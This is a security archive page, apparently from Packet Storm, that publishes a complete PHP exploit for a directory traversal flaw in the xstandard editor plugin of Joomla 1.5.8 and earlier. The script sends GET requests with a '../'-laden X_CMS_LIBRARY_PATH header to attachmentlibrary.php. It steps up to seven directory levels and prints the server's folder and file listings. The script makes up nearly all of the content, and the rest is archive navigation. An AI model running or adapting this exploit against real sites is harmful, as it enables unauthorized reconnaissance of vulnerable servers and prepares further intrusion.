the last unbiased stronghold

Joomla 1.5.8 Directory Traversal Vulnerability

Joomla 1.5.8 Directory Traversal Vulnerability
Posted Jan 7, 2009
Authored by irk4z

Joomla versions 1.5.8 and below local directory traversal exploit.

tags | exploit, local, file inclusion
MD5 | e16d90f9e4705bee3f949a6d68642dd5

Joomla 1.5.8 Directory Traversal Vulnerability

Change Mirror Download
<?php
/*
Joomla <= 1.5.8 (xstandard editor) Local Directory Traversal Vulnerability

discovered by: irk4z[at]yahoo.pl
greets: all friends ;)
*/

echo "* Joomla <= 1.5.8 (xstandard editor) Local Directory Traversal Vuln\n";
echo "* discovered by: irk4z[at]yahoo.pl\n";
echo "*\n";
echo "* greets: all friends ;) enjoy!\n";
echo "*------------------------------------------------------------------*\n";

$host = $argv[1];
$path = $argv[2];
$folder = $argv[3];

if (empty($host) || empty($path)) {
echo "usage: php {$argv[0]} <host> <path> [<folder>]\n";
echo " php {$argv[0]} example.org /joomla\n";
echo " php {$argv[0]} example.org /joomla ../../\n";
exit;
}

echo "http://" . $host . $path . "/images/stories/\n\n";

if ( empty($folder) ){
$lev = "./";
for( $i = 0; $i <= 7; $i++ ) {
echo browseFolder($host, $path, $lev);
$lev .= "../";
}
} else {
echo browseFolder($host, $path, $folder);
}

function browseFolder($host, $path, $folder){

$packet = "GET {$path}/plugins/editors/xstandard/attachmentlibrary.php HTTP/1.1\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "X_CMS_LIBRARY_PATH: {$folder}\r\n";
$packet .= "Connection: Close\r\n\r\n";

$o = @fsockopen($host, 80);
if(!$o){
echo "\n[x] No response...\n";
die;
}

fputs($o, $packet);
while (!feof($o)) $data .= fread($o, 1024);
fclose($o);

$_404 = strstr( $data, "HTTP/1.1 404 Not Found" );
if ( !empty($_404) ){
echo "\n[x] 404 Not Found... Maybe wrong path? \n";
die;
}

//folders
preg_match_all("/<baseURL>([^<]+)<\/baseURL>/", $data, $matches);
//files
preg_match_all("/<value>([^<]+\.[^<]{3,4})<\/value>/", $data, $matches2);

$matches = array_merge( $matches[1], $matches2[1] );

if ( empty($matches) ){
$ret = "$folder [x] Failed...\n";
} else {
$ret = '';
foreach( $matches as $tmp){
$ret .= str_replace("images/stories/", '', str_replace("/./", "/", str_replace("//", "/", urldecode($tmp) ) ) ) . "\n";
}
}

return ($ret);
}

?>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close